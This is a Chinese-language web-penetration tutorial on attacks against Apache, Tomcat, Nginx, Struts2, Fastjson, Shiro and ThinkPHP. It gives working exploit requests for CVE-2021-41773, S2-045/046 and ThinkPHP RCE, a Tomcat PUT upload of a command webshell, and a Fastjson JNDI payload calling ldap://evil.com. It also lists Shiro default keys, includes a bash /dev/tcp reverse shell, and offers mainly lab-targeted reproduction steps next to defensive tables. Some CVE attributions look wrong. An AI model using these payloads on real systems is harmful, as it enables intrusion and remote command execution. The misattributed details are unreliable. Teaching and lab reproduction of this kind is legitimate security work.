一、Apache
Apache HTTP Server(httpd) 是全球最广泛使用的 Web 服务器之一,支持模块化扩展、高度配置灵活,常见于 Linux 服务器中。
-
默认端口:80(HTTP)
-
配置文件路径:
/etc/httpd/conf/httpd.conf
或/etc/apache2/apache2.conf
-
支持**
.htaccess
**进行目录级别配置
1.1 Apache 配置错误导致的绕过
1).htaccess
限制绕过
.htaccess
文件可控制子目录访问权限,若配置不当,可被特殊路径绕过。
示例:
bash
<Directory "/var/www/html/private">
Order allow,deny
Deny from all
</Directory>
但访问:
bash
http://target.com/private/.%2e/
http://target.com/private/%2e%2e/
在某些旧版本中,.%2e
会被解析为 ..
→ 导致绕过。
2)Alias
配置引发的信息泄露
bash
Alias /secret /var/backups/
<Directory "/var/backups">
Require all denied
</Directory>
攻击者访问:
ruby
http://target.com/secret/.git/config
可能绕过访问限制。
3)多路径绕过
Apache 会将部分路径做解码后再处理,可能引发绕过:
-
%2e/
→./
-
%2e%2e/
→../
-
....//
→../
配合错误的路径解析逻辑,就能穿越目录限制,访问敏感文件。
1.2 Apache 目录穿越风险点(Directory Traversal)
1)原理: 攻击者通过构造 ../
或编码形式访问 Web 根目录外的文件。
2)示例请求:
bash
GET /download?file=../../../../etc/passwd HTTP/1.1
如果没有做参数过滤,Apache 会将其视为路径拼接的一部分,读取系统敏感文件。
3)编码绕过形式:
编码形式 | 说明 |
---|---|
..%2f |
../ 编码后 |
%c0%ae%c0%ae |
过时编码法(Apache 1.x/2.0) |
....// |
多点形式绕过 |
%2e%2e/ |
同样表示 ../ |
1.3 Apache 文件解析风险点(文件双扩展)
**原理:**Apache 解析文件时,仅按第一个后缀决定类型,例如:
bash
test.php.txt → Apache 仍当成 PHP 执行(配置问题)
配合上传风险点使用,可以绕过上传限制,实际上传并执行 WebShell。
1.4 Apache RCE 风险点(远程命令执行)
虽然 Apache 本身结构比较简单,逻辑 风险点少见,但其某些模块曾经存在过 RCE 风险点。
案例:Apache HTTP Server Path Normalization RCE
-
风险点编号:CVE-2021-41773、CVE-2021-42013
-
影响版本:Apache 2.4.49、2.4.50
-
触发条件:
-
配置开启了
Require all granted
-
使用路径绕过,如
%2e%2e
-
风险点利用:
bash
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
甚至可以直接 RCE:
bash
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo;id
修复方法:
-
升级 Apache 至 >=2.4.51
-
禁用路径访问并配置严格
Directory
控制
1.5 安全配置建议(防止绕过/穿越)
项目 | 建议 |
---|---|
.htaccess |
不要依赖,仅在主配置中定义权限 |
URL 编码处理 | 禁用双重解码(AllowEncodedSlashes NoDecode ) |
文件上传 | 使用白名单校验后缀、类型 |
限制执行目录 | SetHandler none 配合 Directory |
禁止 .git / .svn | RedirectMatch 404 /\.git |
开启 WAF / ModSecurity | 阻止非法路径访问 |
1.6 实战环境与复现方式
推荐靶场(带 Apache 配置风险点 ):
-
Vulhub : https://github.com/vulhub/vulhub
- 包含 CVE-2021-41773 的 Apache RCE 环境
-
风险点 演示 Docker:
bash
cd vulhub/apache/CVE-2021-41773
docker-compose up -d
然后访问:
bash
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
1.7 自动化工具扫描
工具 | 用途 |
---|---|
Nuclei | 快速扫描 Apache CVE |
xray | 配合 Burp Suite 拦截/扫描 |
Dirsearch | 扫描敏感目录路径 |
Nikto | 检测 Apache 配置风险点 |
二、Tomcat
Apache Tomcat 是一款开源的 Java Servlet 和 JSP 容器,是运行 Java Web 项目的主流服务器,通常监听 8080 端口。典型部署路径:
bash
/opt/tomcat/ 或 /usr/local/tomcat/
2.1 Tomcat 常见攻击面汇总
类型 | 风险点或问题 |
---|---|
配置弱点 | 默认后台 / 弱口令 / manager 控制台未授权 |
文件上传 | WAR 包部署 Getshell |
路径穿越 | 利用 %c0%ae 编码穿越目录 |
RCE | 多个 CVE 历史远程代码执行风险点 |
信息泄露 | 配置文件、版本、栈追踪 |
AJP 协议 | AJP Ghostcat 风险点 RCE(CVE-2020-1938) |
2.2 Tomcat 后台管理页面 Getshell
1)Tomcat 默认后台路径
-
/manager/html
-
/host-manager/html
若未设置密码或使用弱口令,攻击者可登录后台,上传 WebShell。
2)默认弱口令组合(字典打点)
用户名 | 密码 |
---|---|
tomcat | tomcat |
admin | admin |
root | root |
tomcat | (空) |
可以用**nmap
+http-enum
** 或**hydra
** 爆破登录后台。
3)后台上传 WebShell(WAR 包部署)
上传方式:
Tomcat 后台支持上传 .war
格式的 Java 应用包。只要上传成功,就能访问其中的 JSP 文件,实现命令执行。
手动部署流程:
-
制作一个
shell.jsp
并打成**.war
** 包,例如shell.war
-
登录后台**
/manager/html
** 页面,上传该**.war
** -
访问:
http://target:8080/shell/shell.jsp
这个是 Tomcat 最常见的打点方式之一。
2.3 Tomcat 任意文件上传(CVE-2017-12615)
风险点**版本:**Tomcat 7.x for Windows,在未开启 PUT 禁止的情况下,支持直接用 PUT 上传 JSP 文件。
利用流程:
bash
curl -X PUT "http://target:8080/shell.jsp" -d "<% out.println('hacked'); %>"
curl http://target:8080/shell.jsp
条件:
-
Windows 环境
-
WebDAV PUT 方法未禁用
-
MIME 类型未限制
用法同文件上传风险点,最终直接访问上传的 JSP 文件实现命令执行。
2.4 Tomcat 路径穿越(CVE-2020-1938 / Ghostcat)
组件:AJP(默认监听 8009)
Apache JServ Protocol 是 Tomcat 内部通信协议,未认证,高危
风险点详情:
-
CVE-2020-1938
-
可利用 AJP 协议进行文件包含 / LFI / RCE
-
可读取
web.xml
,甚至插入 WebShell
利用工具:
-
ajpShooter
(可读配置文件) -
GhostcatScan
(批量扫描) -
TomcatAjpExploit.py
(远程写入 WebShell)
2.5 信息泄露风险
1)目录列目录开启
bash
http://target:8080/examples/
暴露源码、上传功能、shell 文件等。
2)配置文件泄露
-
**
web.xml
:**可读取部署结构 -
**
tomcat-users.xml
:**后台账户密码 -
**
catalina.out
:**日志信息
2.6 实战复现:Tomcat 后台上传 getshell
环境部署(用 Vulhub):
bash
git clone https://github.com/vulhub/vulhub
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
访问:
bash
curl -X PUT http://localhost:8080/shell.jsp -d "<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>"
curl http://localhost:8080/shell.jsp?cmd=whoami
2.7 安全防护建议
项目 | 建议 |
---|---|
删除后台 | 上线时移除 /manager /host-manager |
强密码 | 设置强管理员密码 |
禁止 PUT | 在 web.xml 禁止 PUT 方法 |
关闭 AJP | 不使用时直接注释 AJP 端口 |
限制上传目录 | 上传目录配置不允许执行(非 Web 根目录) |
设置 MIME 类型 | 不允许 JSP 作为普通上传类型 |
2.8 辅助工具推荐
工具 | 用途 |
---|---|
Nmap + NSE | 检测后台、AJP 端口 |
Burp Suite | 中间人攻击后台登录 |
Metasploit | tomcat_mgr_upload 模块 |
tomcatScan.py | 爆破后台、上传 WAR 包 |
AjpShooter | AJP 文件包含、读取 |
三、Nginx 配置绕过
Nginx 是轻量级、高性能的反向代理服务器/负载均衡器,也可作为 HTTP 服务器使用,配置灵活但容易出现逻辑风险点。
常见路径:
bash
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
3.1 Nginx 配置绕过的本质
Nginx 本身不具备权限控制能力(不像 Apache 可配 .htaccess
),它是基于 URI 路由规则匹配实现访问控制的。
如果配置不当或存在特殊匹配顺序问题,就可能被攻击者通过构造特殊路径来绕过访问控制、执行敏感操作或访问禁止资源。
3.2 常见 Nginx 绕过技巧
1)文件后缀伪装绕过(别名与路径处理不一致)
>示例配置:
bash
location /uploads/ {
deny all;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
}
>绕过方法:
上传 shell.php.jpg
,然后直接访问:
bash
http://target/uploads/shell.php.jpg
Nginx 认为是静态资源(.jpg
),但后端 PHP-FPM 可能仍会解析成 PHP 执行。
2)alias
搭配 location
配置错误导致绕过
bash
location /static/ {
alias /var/www/private/;
deny all;
}
但若访问路径中包含**..
**:
bash
http://target/static/../private/config.php
则可能访问到 alias 指定目录外的文件(目录穿越),或因 解析位置不一致 被访问成功。
3)内部路径访问绕过
bash
location /admin {
allow 127.0.0.1;
deny all;
}
在未启用 exact match
时,路径**/adminabc
** 会被匹配到**/admin
**,从而无法禁止访问。
>绕过方式:
bash
http://target/admin.%00/
http://target/admin%20/
http://target/admin;/index.php
4)斜杠编码绕过(路径混淆)
Nginx 对 /
的编码和解码逻辑不严谨,存在如下绕过方式:
构造 | 说明 |
---|---|
%2e |
等价于 . |
%2f |
等价于 / |
%c0%ae |
老版本中等价于 . |
%ef%bc%8f |
全角斜杠 |
用于构造:
bash
/admin%2f../uploads/
/admin%ef%bc%8f../uploads/
5)使用 $uri
与 $request_uri
不一致造成绕过
bash
location /protected/ {
root /data;
try_files $uri =404;
}
若未正确处理 $request_uri
,可能会将原始请求保留,从而产生解析差异导致绕过。
6)使用正则匹配导致权限绕过
bash
location ~ ^/private/.*$ {
deny all;
}
攻击者访问:
bash
/private.evil/xx.php
绕过正则匹配条件(正则写法不严格)。
7)代理后端绕过:Nginx + PHP-FPM / Node.js 时路径控制不一致
Nginx 处理路径时解码,而后端应用如 PHP-FPM / Node.js 可能再次解码,造成双重解码绕过。
bash
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
}
上传一个 a.php%00.jpg
,绕过**.jpg
** 白名单。
8)Nginx 无法禁止实际物理目录文件(与 try_files
配合)
bash
location /admin {
deny all;
}
但若 /admin/index.html
存在,且使用:
bash
location / {
try_files $uri $uri/ /index.php;
}
可能仍会访问成功。
3.3 实际风险点案例分析
CVE-2017-7529:Nginx range 越界整数溢出(DoS 信息泄露)
影响版本:< 1.13.3
攻击方式:构造非法 Range
头,造成整数溢出读取服务器敏感内容。
bash
Range: bytes=-9223372036854775808,0
如果存在缓存代理服务,可造成信息泄露甚至崩溃。
SSRF 绕过场景(Nginx 转发时不验证 Host)
如果配置:
bash
location /api/ {
proxy_pass http://backend/;
}
攻击者访问:
ruby
curl http://target/api/http://127.0.0.1:9000/admin
后端未验证 Host,可能造成 SSRF + 内部接口访问。
3.4 防御与安全配置建议
项目 | 建议 |
---|---|
路径匹配 | 使用 = 或 ^~ 精确匹配路径 |
禁止执行目录 | 将上传目录设为静态资源目录 |
后缀白名单 | 后端必须限制执行文件后缀 |
禁止特殊编码 | 设置 merge_slashes off; 等规则 |
拒绝不安全方法 | 如 PUT、TRACE 等 |
禁用 AJP / 限制内网 | 避免暴露后端协议端口 |
3.5 工具推荐
工具 | 用途 |
---|---|
Dirsearch / Ffuf | 发现被绕过的目录 |
Nuclei | 快速检测路径绕过规则 |
Burp Suite | 手动构造编码绕过请求 |
Nikto | 检测 Web 服务配置风险点 |
Xray | 自动识别 Nginx 配置问题 |
3.6 实战复现环境推荐
-
Vulhub 中的 Nginx 路径穿越与反代穿透环境
-
自建 Nginx 示例配置 + PHP-FPM 实现绕过和解析差异
-
配合 Burp 手动构造
%2e
、%2f
、%00
等路径参数进行验证
四、目录穿越
目录穿越(Directory Traversal) 是指攻击者利用服务端对用户输入的路径过滤不严,通过构造 ../
或变种,访问本不应暴露的服务器文件,如配置文件、密码、敏感代码等。
本质: 服务端直接或拼接式地读取了用户输入的文件路径,未做或未正确做 路径净化(path sanitization)。
4.1 常见利用方式
1)基本绕过方式(Linux)
bash
GET /download.php?file=../../../../etc/passwd
2)Windows 系统下的路径穿越
bash
GET /read?file=..\..\..\windows\win.ini
3)多层绕过构造技巧
构造方式 | 示例 |
---|---|
URL 编码 | %2e%2e%2f = ../ |
双重编码 | %252e%252e%252f |
Unicode 编码 | %u2216u2216..%u2216 |
文件截断 | file=../../../secret.txt%00.jpg |
大小写混淆 | ..%2f..%5cetc/passwd |
4.2 目录穿越风险点常见场景
1)文件读取类接口
php
<?php
$file = $_GET['file'];
include("pages/" . $file);
?>
攻击:
bash
/index.php?file=../../../../../../etc/passwd
2)下载功能
php
readfile("/downloads/" . $_GET['f']);
攻击:
bash
/download?f=../../../etc/shadow
3)日志查看器、错误信息回显功能
很多后台管理系统或 CMS 也存在这种功能,被攻击者用于读取任意日志或代码文件。
4.3 真实案例分析
CVE-2021-41773(Apache 目录穿越 + RCE)
-
Apache 2.4.49/2.4.50 的路径规范化存在风险点
-
构造请求即可访问任意文件:
perl
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd
如果开启了 CGI 解析甚至可远程执行命令(RCE)。
ThinkPHP 5.0.x 的任意文件读取
构造:
Swift
/index.php?s=../../../../../public/index/think/app/invokefunction&function=phpinfo
利用**think/invokefunction
** 接口实现文件包含甚至命令执行。
4.4 目录穿越变种风险点
1)任意文件读取(LFI)
-
Directory Traversal 往往是 LFI 的入口(Local File Inclusion)
-
利用 php://filter、zip、data 协议可进一步提升危害
2)配合上传 getshell(穿越路径控制写入位置)
上传点绕过时可以构造 filename=../../webroot/shell.jsp
,从而造成任意文件写入 + Getshell
4.5 危险文件读取点汇总
文件名 | 说明 |
---|---|
/etc/passwd |
Linux 系统用户信息 |
/etc/shadow |
密码哈希 |
/var/log/nginx/access.log |
访问日志 |
C:\Windows\win.ini |
Windows 配置文件 |
web.xml / .env |
Web 项目配置信息 |
.git/config |
Git 信息泄露 |
config.php / db.php |
数据库密码 |
4.6 防御方式
防护措施 | 描述 |
---|---|
路径白名单 | 严格限定可访问路径范围 |
路径净化 | 使用 realpath() 、basename() 等函数处理 |
禁止 .. |
明确过滤 ../ 、..\ 、编码后的形式 |
权限隔离 | 运行用户权限受限(无 root 读权限) |
WAF 策略 | 拦截常见穿越 payload(../ 、%2e%2e%2f ) |
日志监控 | 实时记录并监控路径异常请求 |
4.7 目录穿越检测技巧
1)使用 Burp Intruder 自动爆破测试
Payload 列表示例:
perl
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%5c..%5c..%5cwindows%5cwin.ini
2)Fuzz 文件读取接口的参数名
如 file=
, path=
, url=
, page=
, log=
等常见关键字。
3)使用自动化工具
工具 | 功能 |
---|---|
DirBuster / Dirsearch | 爆破目录路径 |
Burp Scanner / ZAP | 自动检测穿越点 |
Nuclei | 使用模板检测文件读取/穿越 |
LFI-Freak | 自动化 LFI 风险点利用 |
DotDotPwn | 专门的目录穿越 Fuzzer |
4.8 实战复现环境推荐
Vulhub 示例:
bash
git clone https://github.com/vulhub/vulhub
cd vulhub/apache/CVE-2021-41773
docker-compose up -d
然后:
perl
curl http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd
4.9 小结
技术点 | 是否关键 |
---|---|
是否可访问文件系统 | 是 |
是否能影响逻辑执行 | 是(如 PHP include) |
是否可结合上传 Getshell | 非常常见 |
穿越 + LFI / RCE 是否可联动 | 是 |
是否能轻松被发现 | 一般需构造精确路径绕过 |
五、Struts2
Struts2 风险点详解(历史风险点分析与复现)
Struts2 是 Apache 组织开发的 Java Web MVC 框架,由于其基于 OGNL(对象图导航语言)表达式处理机制,历史上曾多次爆出高危远程命令执行(RCE)风险点,造成了 大规模数据泄露与服务器被控。
Struts2 的核心问题:OGNL 表达式注入
OGNL 是 Struts2 的一种表达式语言,用于页面变量访问、标签处理等。但由于早期版本对输入参数未严格过滤,攻击者可以构造恶意表达式,并让服务器解析执行,从而远程执行系统命令。
5.1 代表性风险点一览
编号 | 风险点名 | 影响范围 | 危害 |
---|---|---|---|
S2-005 | OGNL 注入 | <= 2.3.1 | 命令执行 |
S2-009 | ClassLoader 泄露 | 多版本 | 远程读取任意类 |
S2-045 | Content-Type RCE |
2.3.5 - 2.3.31 / 2.5 - 2.5.10 | 命令执行 |
S2-046 | REST 插件 RCE | 2.1.2 - 2.3.31 / 2.5.x | 命令执行 |
S2-052 | 默认 namespace 被利用 | 2.3.34 / 2.5.16 | RCE |
S2-057 | RCE in debugging 模式 |
<= 2.5.17 | 命令执行 |
5.2 最著名风险点:S2-045(CVE-2017-5638)
原因:
-
Struts2 处理
Content-Type
时,会自动将其内容当作 OGNL 表达式处理 -
没有对 header 内容过滤
利用条件:
-
Struts2 运行版本为 2.3.5 ~ 2.3.31 或 2.5 ~ 2.5.10
-
使用了基于 Jakarta Multipart parser 的文件上传功能
风险点利用:
使用 BurpSuite 构造如下请求:
bash
POST /index.action HTTP/1.1
Host: target.com
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Cmd', 'whoami')}.multipart/form-data
...上传的 multipart 数据...
响应头中可获得命令执行结果:
bash
HTTP/1.1 200 OK
X-Cmd: root
5.3风险点复现(以 Vulhub 为例)
1)环境搭建(S2-045)
bash
git clone https://github.com/vulhub/vulhub
cd vulhub/struts2/s2-045
docker-compose up -d
2)POC 示例(Python)
python
import requests
url = 'http://127.0.0.1:8080/index.action'
headers = {
'Content-Type': "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','struts2_pwned')}.multipart/form-data"
}
files = {'file': ('1.txt', b'test')}
resp = requests.post(url, headers=headers, files=files)
print(resp.headers.get("X-Test"))
5.4 S2-046(REST 插件命令执行)
原理:
-
基于 REST 插件 URL 传参构造 OGNL 表达式
-
没有禁用 OGNL 动态执行机制
风险点示例:
bash
GET /struts2-rest-showcase/orders/%{(#[email protected]@getRuntime().exec('whoami')).toString()}
服务端直接执行命令**whoami
**。
5.5 防御方法
方法 | 描述 |
---|---|
升级框架 | 使用最新 Struts2 版本,关闭 OGNL 动态访问 |
限制表达式执行 | 配置 struts.ognl.allowStaticMethodAccess=false |
WAF 拦截 | 阻止带有 %{} 、OGNL 特征关键字的请求 |
不暴露 REST 插件 | 禁用不必要的 REST 路由 |
输入校验 | 参数白名单、header 校验 |
5.6 常见 payload 特征(检测点)
-
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']...}
-
@java.lang.Runtime@getRuntime().exec('calc')
-
%{T(java.lang.System).getenv()}
5.7 真实案例:Equifax 数据泄露
-
时间:2017 年
-
利用了 Struts2 S2-045 风险点
-
泄露近 1.43 亿美国用户的敏感数据(社会安全号、地址、信用记录等)
5.8 工具推荐
工具 | 功能 |
---|---|
Struts2-Scan | 多版本 Struts2 自动检测 |
Nuclei | 使用模板检测 OGNL 表达式注入 |
BurpSuite + 插件 | 主动扫描 S2 风险点 |
ysoserial | Java 反序列化搭配命令执行 payload 生成 |
5.9 小结
项目 | 分析 |
---|---|
框架原理 | OGNL 表达式机制 |
风险点点 | Header、URL、参数被当作表达式执行 |
危害 | RCE、服务器控制、信息泄露 |
修复建议 | 升级版本、关闭动态方法访问、WAF 保护 |
实战价值 | 超高,可直接 getshell |
六、Fastjson
Fastjson 风险点详解(历史风险点分析与复现)
Fastjson 是阿里巴巴开源的 Java JSON 库,由于其设计上的自动反序列化能力,一度成为 Java 反序列化风险点 最严重的攻击入口之一 ,攻击者可通过精心构造的 JSON 数据,在目标服务中 远程命令执行(RCE)。
6.1 Fastjson 原理简述
Fastjson 在解析 JSON 时,可以自动将 JSON 对象转化为 Java Bean 或任意类,若你传入如下数据:
bash
{
"@type": "java.lang.Exception",
"message": "hello"
}
Fastjson 会尝试实例化 java.lang.Exception
类并设置字段。这一特性本质上是自动反序列化,并允许执行类的构造函数或 setter 方法。
6.2 核心风险点:AutoType 开启时,任意类加载
什么是 AutoType?
Fastjson 提供的功能,可让用户通过 JSON 中的 @type
字段,指定反序列化的类名:
bash
{
"@type": "com.example.MyObject",
"a": 1,
"b": "xxx"
}
风险点:
-
如果
@type
指定的是恶意类,如某些**JNDI
** 触发类或**TemplatesImpl
** ,可造成 远程命令执行(RCE) -
某些类会在初始化时执行命令(典型如
javax.naming.ldap
,TemplatesImpl
等)
6.3 关键风险点时间线
风险点编号 | 版本 | 特征 | 危害 |
---|---|---|---|
CVE-2017-18318 | <= 1.2.47 | AutoType 绕过 |
RCE |
CVE-2020-10673 | <= 1.2.68 | 多类触发命令执行 | RCE |
CVE-2022-25845 | <= 1.2.80 | 新 bypass,WAF 难拦 | RCE |
CVE-2022-25845(新版) | <= 1.2.83 | 新利用链 | 命令执行 |
6.4 典型利用链
1)使用 TemplatesImpl
+ @type
构造反序列化链(依赖 commons-collections
)
bash
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["base64 编码的恶意类"],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {"javax.xml.transform.TransformerFactory": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"}
}
可远程执行 Java 类的静态方法、构造方法等。
2)JNDI 注入方式(Fastjson 会加载远程类)
bash
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://evil.com/Exploit",
"autoCommit": true
}
配合攻击者搭建的恶意 JNDI 服务器,最终可 RCE。
6.5 环境复现示例
1)环境搭建(推荐用 Vulhub 或手动)
bash
git clone https://github.com/vulhub/vulhub
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
访问 http://127.0.0.1:8080/
,输入 JSON:
bash
{
"@type":"org.apache.commons.collections.functors.InvokerTransformer",
"iMethodName":"exec",
"iParamTypes":["java.lang.String"],
"iArgs":["calc"]
}
本地将弹出计算器(Linux 下可使用 gnome-calculator
或**xcalc
**)。
6.6 检测方法
1)识别是否使用 fastjson
-
返回头中含有
X-Fastjson-Version
-
响应异常中包含
com.alibaba.fastjson.JSONException
-
探测接口支持 JSON,发送恶意
@type
看是否报错
2)PoC 探测(版本判断)
bash
{"@type":"java.lang.Class","val":"com.alibaba.fastjson.JSON"}
服务端返回**Class not found
**或正常响应,即可判断解析引擎为 fastjson。
6.7 防御方式
防御方法 | 说明 |
---|---|
禁用 AutoType | 推荐:ParserConfig.getGlobalInstance().setAutoTypeSupport(false) |
开启安全白名单 | addAccept() 指定可反序列化类 |
限制反序列化类型 | 不让用户传 @type ,前端参数控制 |
版本升级 | 最新版本对 AutoType 有严格限制 |
使用替代品 | 如 Jackson / Gson(无自动反射机制) |
6.8 实战价值
利用点 | 是否关键 |
---|---|
自动反序列化 | 是 |
无需依赖特定接口名 | 是,只要有 JSON 参数点 |
可结合 Shiro、Spring 等框架 | 是,组合攻击常见 |
适配多种反序列化链 | 是,如 CommonsCollections、BeanShell |
6.9 攻击工具
工具 | 说明 |
---|---|
fastjson-exploits | fastjson 各版本 POC 集合 |
fastjson-scanner | 探测 fastjson 存在与否 |
ysoserial | 构造反序列化 payload |
JNDI-Injection-Exploit | 配合 JNDI LDAP Server 利用 fastjson 加载远程类 |
6.10 小结
项目 | 描述 |
---|---|
利用点 | @type + autoType 支持 |
影响范围 | Java Web 项目中大量使用 fastjson 的接口 |
危害 | 远程命令执行、反弹 shell |
检测手段 | 探测 JSON 接口 + 版本识别 |
修复建议 | 升级版本、禁用 AutoType、加白名单 |
七、Shiro
Apache Shiro 风险点 详解(反序列化 + RememberMe + 密钥爆破 + RCE)
Apache Shiro 是一个 Java 安全框架,用于:
-
用户认证(Authentication)
-
授权(Authorization)
-
加密(Cryptography)
-
会话管理(Session Management)
其中有一个功能是 "记住我"(RememberMe)------通过 Cookie 记录用户状态。
7.1 核心风险点原理:RememberMe 反序列化
Shiro 的 RememberMe 功能使用 Cookie 存储序列化后的 Java 对象(例如用户信息、认证状态等),并加密存储:
bash
Cookie: rememberMe=Base64(Encrypted(SerializedObject))
问题出在:
-
这个对象是 Java 的反序列化对象
-
加密用的是对称加密(AES)+ 固定密钥(早期默认是
kPH+bIxk5D2deZiIxcaaaA==
) -
攻击者只要知道密钥,就可以自己构造恶意序列化对象、加密后发送,服务端反序列化时就会执行命令
7.2 Shiro 反序列化风险点时间线
风险 | 影响版本 | 风险点 | 危害 |
---|---|---|---|
CVE-2016-4437 | < 1.2.4 | 固定密钥 + 反序列化 | RCE |
CVE-2020-11989 | < 1.5.2 | AES GCM 参数缺陷 | 攻击 Cookie |
未公开新链 | 持续影响 | 依赖 ysoserial 链 | 命令执行 |
7.3 攻击流程(经典 CVE-2016-4437)
1)信息收集
-
确认使用了 Shiro
-
响应中有 **
rememberMe=xxx
**的 Cookie -
有些情况下服务端会自动响应:
bash
Set-Cookie: rememberMe=deleteMe
这是 Shiro 的特征响应,表示你传入的 rememberMe 不合法或过期。
2)构造恶意 payload(依赖反序列化链)
使用工具生成恶意 Java 序列化对象(例如通过 ysoserial):
bash
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/shiro_pwned" > payload.ser
3)使用默认密钥加密 payload
python
# 使用 AES CBC + PKCS5Padding 加密 + Base64 编码
key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
使用加密后的结果放入 Cookie 发送:
bash
Cookie: rememberMe=ENC(payload.ser)
服务端反序列化并执行命令。
7.4 风险点复现步骤(建议用 Vulhub)
1)环境搭建
bash
git clone https://github.com/vulhub/vulhub
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d
2)使用工具进行攻击
推荐工具:shiro_exploit
(可自动爆破密钥 + 利用)
bash
https://github.com/feihong-cs/ShiroExploit
bash
python shiro_exploit.py -u http://127.0.0.1:8080/ -g -k "kPH+bIxk5D2deZiIxcaaaA==" -c "ping xxx.dnslog.cn"
3)反弹 shell 利用
结合**CommonsCollections
**链 + bash 反弹 payload:
bash
bash -i >& /dev/tcp/ip/port 0>&1
7.5 实战技巧
如何识别目标使用了 Shiro?
-
访问后响应中出现
rememberMe=deleteMe
-
页面源码或 JS 中出现
org.apache.shiro
-
登录逻辑中含有**
rememberMe
**复选框 -
使用 Wappalyzer、WhatWeb 等指纹工具
7.6 爆破密钥字典(常用)
bash
kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
也可用工具自动爆破密钥:
bash
java -jar ShiroAttack.jar -u http://target -g
7.7 防御方法
方法 | 描述 |
---|---|
关闭 RememberMe | 不使用 Cookie 保存认证信息 |
禁用 Java 反序列化 | 自定义 ObjectInputStream |
移除不安全依赖链 | 如 commons-collections |
修改密钥为随机值 | 不使用默认 AES 密钥 |
Shiro 升级到最新版 | 如 1.10+ 版本,增强了序列化校验 |
使用 JSON/Token 登录替代机制 | 避免状态写入 Cookie |
7.8 工具推荐
工具 | 说明 |
---|---|
ysoserial | Java 反序列化 payload 生成 |
ShiroExploit | 自动化检测 + payload 构造 |
shiroScan | 快速探测 rememberMe 特征 |
JNDIExploit + LDAP Server | 结合 RMI/JNDI 利用链 |
7.9 小结
项目 | 分析 |
---|---|
风险点 | 反序列化 + AES 固定密钥 |
触发条件 | 开启 RememberMe 且未改密钥 |
危害 | RCE、命令执行、服务器控制 |
修复建议 | 升级、改密钥、禁用反序列化 |
实战价值 | 极高,内网渗透常见武器 |
八、ThinkPHP
ThinkPHP 风险点详解(历史 RCE 风险点合集 + 复现 + 实战)
ThinkPHP 是国内流行的 PHP 框架,由【TopThink 团队】开发,很多中小型企业与系统仍在广泛使用。
由于其魔术方法、自动加载、路由解析等机制,历史上出现了多个 远程命令执行(RCE) 、变量覆盖 、任意文件操作风险点,危害极大。
8.1 常见历史风险点版本及类型
风险点编号 | 版本影响 | 风险点类型 | 危害 |
---|---|---|---|
CVE-2018-20062 | ThinkPHP 5.0.23 ~ 5.0.24 | 控制器绕过 RCE | 命令执行 |
CVE-2019-9082 | ThinkPHP 5.0.22 ~ 5.0.23 | 路由解析注入 | 命令执行 |
未命名风险点 | ThinkPHP 3.x | 变量覆盖 / eval注入 | RCE、信息泄露 |
目录穿越 | ThinkPHP <=3.x | 日志文件泄露 | 读敏感配置 |
文件包含 | 多版本 | 控制模板路径 | 任意文件读取/执行 |
8.2 关键风险点原理分析
[1] CVE-2018-20062:控制器方法绕过导致远程命令执行
原理: ThinkPHP 5.0 中有自动路由解析机制。攻击者可伪造 URL 路由参数,使框架误将某些方法当作控制器来执行,从而调用某些魔术函数(如 __call
)。
bash
POST /index.php?s=index/\think\Request/input HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_filter[]=system&_method=GET&get[]=whoami
-
**
_method
**决定使用什么方式调用(如 GET) -
_filter
可用 PHP 的函数名(如 system、phpinfo) -
get[]
是函数参数(例如 whoami)
只要 POST 请求命中了**input()
** 方法,并使用 _filter[]=system
,即可执行任意系统命令!
[2] CVE-2019-9082:构造控制器调用链,触发 call_user_func
bash
GET /index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1
- 实际执行的是:
call_user_func('phpinfo', 1);
也可以用 **system
, exec
, passthru
**等命令函数进行系统命令执行。
[3] ThinkPHP 3.x 系列:变量覆盖 + 模板包含
bash
/index.php?s=/home/article/view_recent/name/1
可以通过路径操作将控制权交给攻击者上传的文件或目录。
很多版本未对控制器名、模板名进行严格过滤,攻击者能:
-
包含任意文件
-
控制模板路径
-
上传文件再包含 getshell
8.3 风险点复现(推荐用 Vulhub 或手动搭建)
示例一:CVE-2018-20062(ThinkPHP 5.0.23)
启动风险点环境:
bash
git clone https://github.com/vulhub/vulhub
cd vulhub/thinkphp/5.0.23-rce
docker-compose up -d
利用:
bash
POST /index.php?s=index/\think\Request/input
Content-Type: application/x-www-form-urlencoded
_filter[]=system&_method=GET&get[]=whoami
返回结果中包含当前用户。
示例二:CVE-2019-9082(ThinkPHP 5.0.23)
bash
GET /index.php?s=index/\think\app/invokefunction&function=system&vars[0]=whoami
可以更改 function=system
,并设置 vars[0]=命令
来执行任意系统命令。
8.4 实战检测技巧
1)判断 ThinkPHP 框架
-
页面源码中含有
/thinkphp/
-
报错信息中有
Think\Exception
-
默认目录结构
/index.php?s=xxx
也可以用工具:
bash
whatweb http://target
2)构造 POC 进行验证
